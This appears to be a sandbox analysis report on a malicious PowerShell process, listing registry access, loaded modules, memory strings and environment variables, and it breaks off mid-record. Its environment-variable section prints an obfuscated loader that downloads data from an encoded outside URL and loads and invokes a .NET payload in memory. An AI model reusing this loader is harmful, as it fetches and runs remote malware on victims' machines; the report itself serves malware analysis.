"HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00005788.00000000.155566.86550000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005788.00000000.155566.9E690000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005788.00000000.155566.9E690000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005788.00000000.155566.9E690000.00000004.mdmp "y\Machine\Software\Classes\WOW6432Node\CLSID\{0B" in Source: 00000000-00005788.00000001.156236.84270000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{752073A1-23F2-4396-85F" in Source: 00000000-00005788.00000001.156236.84270000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005788.00000001.156236.84270000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005788.00000001.156236.9660A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005788.00000001.156236.9E690000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005788.00000001.156236.9E690000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00005788.00000001.156236.E2718000.00000002.mdmp "HKLM\" in Source: 00000000-00005788.00000001.156236.E2718000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005788.00000001.156236.E2718000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005788.00000001.156236.E2718000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005788.00000001.156236.E2718000.00000002.mdmp3a:T2049,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe17350000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe17350000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe17350000 "powershell.exe" loaded module "KERNEL32" at base 7ffe179e0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffde9df0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffe179e0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffe19da0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffdf2d90000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffe19ff0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe165d0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffe0db30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffde9320000 "powershell.exe" loaded module "USER32.DLL" at base 7ffe17a90000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe17350000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffdf5630000 "powershell.exe" loaded module "NTDLL" at base 7ffe1a1f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe19a90000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffe178b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffde7d20000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffe196f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe19a90000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffe19990000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffde70b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffde6630000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffde6580000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe159e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe16960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffde4510000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffe19a90000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffe19a90000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffe1a1f0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffe18130000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffe17800000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffe175c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffe175c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe16a30000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffdfe830000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe0db30000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffdfde80000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffe16a30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\2DI36E96.DLL" at base 7ffdf5c70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffde4470000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffde4300000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffde4190000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffde38e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffde2f70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffde2c00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffde2ba0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe17350000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffde2a50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffde29e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffde2900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffde27c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffde2770000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffe0dce0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffe16470000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffe155a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe14bc0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffde2690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe179e0000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffe16440000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe19da0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffe19a90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffde1980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffdfd8b0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffe160a0000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffe0ace0000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffe0ac60000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffe19920000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffe15dd0000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffe12b10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffdf8bb0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffe15b60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffe0eee0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffe0f3f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffe15920000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffe05c50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffe05fe0000 "powershell.exe" loaded module "ADVAPI32" at base 7ffe19da0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\FB4BA4DB52CA77687F807BB068871EC2\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ffde17500003b:T11fe,Found string "$phenylnitrones=New-Object Net.WebClient;" (Indicator: "New-Object"; Source: "00000000-00005788.00000000.155566.841F0000.00000004.mdmp, 00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.85E10000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.841F0000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.85E10000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-Object System.Version -ArgumentList @(" (Indicator: "New-Object"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "new-object datetime @([int]$matches[1], [int]$matches[2], [int]$matches[3])" (Indicator: "New-Object"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "$argumentsBuilder = new-object System.Text.StringBuilder" (Indicator: "New-Object"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "$private:sd = new-object System.Security.AccessControl.CommonSecurityDescriptor $false,$false,$this.SecurityDescriptorSddl" (Indicator: "New-Object"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "split-path $_.Path" (Indicator: "Split-Path"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string ",(new-object Microsoft.Powershell.Commands.EnhancedKeyUsageProperty -argumentlist $this).EnhancedKeyUsageList;" (Indicator: "New-Object"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string ",(new-object Microsoft.Powershell.Commands.DnsNameProperty -argumentlist $this).DnsNameList;" (Indicator: "New-Object"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp")3c:Tbb2,Process "powershell.exe" (UID: 00000000-00005788) was launched with new environment variables: "$anesthetist="$recco+$lacune.Length;", try{$wishful="$esofagus.GetType('OtnmpxnddVnptbN.mpxnddVn'); $galactotherapy=$wishful.GetMethod('Otnmpxn'); $galactotherapy.Invoke($null,[object[]]$hommony)}catch{}", $gosudar="'IN-'; $saunaing='-in1';", $altars="$phenylnitrones.DownloadData($corporatism);", $brightfield="$etymologised.Substring($etymologised.IndexOf($gosudar)+$gosudar.Length $pajero-($etymologised.IndexOf($gosudar)+$gosudar.Length));", $recco="$etymologised.IndexOf($gosudar);", $hommony="('0acfVuUf01VT2/KKSjks5Ik3ZAMJ5sLILNuoRrZN1zF2skIX3XJNhRGfdv+XGLX3xqzaGUV3+G8Rp0exPBq2Dl3roRlesim+QFYqr6fuJq/QwPnoFDkzbtbu0Lr2wE4BiP2zOV1j23KB+cb8aZ9ZxQ==','','jsdZyok7a7mi4apwvgSTD9ag52yetqsDKKN3WfZ6u0XEAlMCPlp5g49ZRg41GLaZ','93816SFcxqZlugnfFHTPQuGhWyA/o0grzLq5vK4WWyc=','Vs/IQ4JTN7NwXYYIQx5bBKvJOoepr06hxAbo9z2uSXg=','','iLDeP1sVm0oa6f+pKrbSeXzYoJGzjId8Gj0oNez8fVY=','','ErnDD9Vd91jQ+nccAz+uehP+STrJXHseB5tR5JHdKA4=','VMw804LQVl0Byzq29pY6AeqUnFdNB3KxA1p6KwDk7svmQ5UFF7vvp9Isf8f5mBSm','EAvOeom+vL8cCIFg7h2ufZ8dTBgRAG9QPHCkHQm5T/o=','b8gEK6yV6JhU46T7PJDWmRuY7PiU3IW8vGdQejHrUwo=','Bv+C+vOcLGHtsWHiC0VEu6udq4wdGXgaXJvf/Ry4xhY=','','yOKnRdHK+MzdxXv2z0gHq/XgytdDUvH2UNg5rzuFpzs=','Xsfr0eG5jSVSg+UGV0WDHTppzELCSkhHGZJSXHhEgXY=','','','');", $pajero="$etymologised.LastIndexOf($saunaing);", $Tisiphone="$brightfield.Replace('#','A').ToCharArray();", enpierce="$corporatism=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAGIAbAB1AGUALQBwAGEAcABlAHIALQBmADYAOQBmAC4AYQBjAHIAeQBwAHQAZQByAHMALgB3AG8AcgBrAGUAcgBzAC4AZABlAHYALwBGAFQATQAwAC0ANAAwAFAATwAtAEEATwAyADgALQBHADkAOABFAC8AaQBtAGcAXwB1ADYAOQBlAG4AbwAuAHAAbgBnAA=='));", [byte[]]$hobblingly="[Convert]::FromBase64String($widescale);", $etymologised="[Text.Encoding]::UTF8.GetString($altars);", $phenylnitrones="New-Object Net.WebClient;", $widescale="$Tisiphone -join '';", $esofagus="[AppDomain]::CurrentDomain.Load($hobblingly);"" Process "powershell.exe" (UID: 00000000-00005788) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, PATHEXT, ProgramFiles, CommonProgramFiles, Path" Process "powershell.exe" (UID: 00000000-00005788) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432, PROMPT" Process "Caspol.exe" (UID: 00000000-00002924) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A"" Process "Caspol.exe" (UID: 00000000-00002924) was launched with modified environment variables: "PSModulePath, PATHEXT, NUMBER_OF_PROCESSORS" Process "Caspol.exe" (UID: 00000000-00004508) was launched with new environment variables: "FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer"" Process "Caspol.exe" (UID: 00000000-00004508) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles"3d:Tfd6,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00005788-00000C2D-1106462490] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00005788-00000C2A-1419198561] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00005788-00000C2A-1419312677] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005788-00000C2A-1419401171] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00005788-00000C2A-1419533004] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00005788-00000C2A-1419584106] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005788-00000C2A-1419996471] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005788-00000C2A-1420050644] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00005788-00000C2A-1420128990] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00005788-00000C2A-1420200128] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005788-00000C2A-1420278455] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005788-00000C2A-1420501986] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005788-00000C2A-1420639533] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005788-00000C2A-1420886605] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005788-00000C2A-1420942191] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005788-00000C2A-1421270677] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005788-00000C2A-1421345103] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005788-00000C2A-1421352175] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005788-00000C2A-1421424253] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00005788-00000C2A-1421666003] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00005788-00000C2A-1421732255] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00005788-00000C2A-1421852474] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00005788-00000C2A-1422158651] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00005788-00000C2A-1422235734] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00005788-00000C2A-1422314063]3e:T712,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp")3f:T9b6,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS 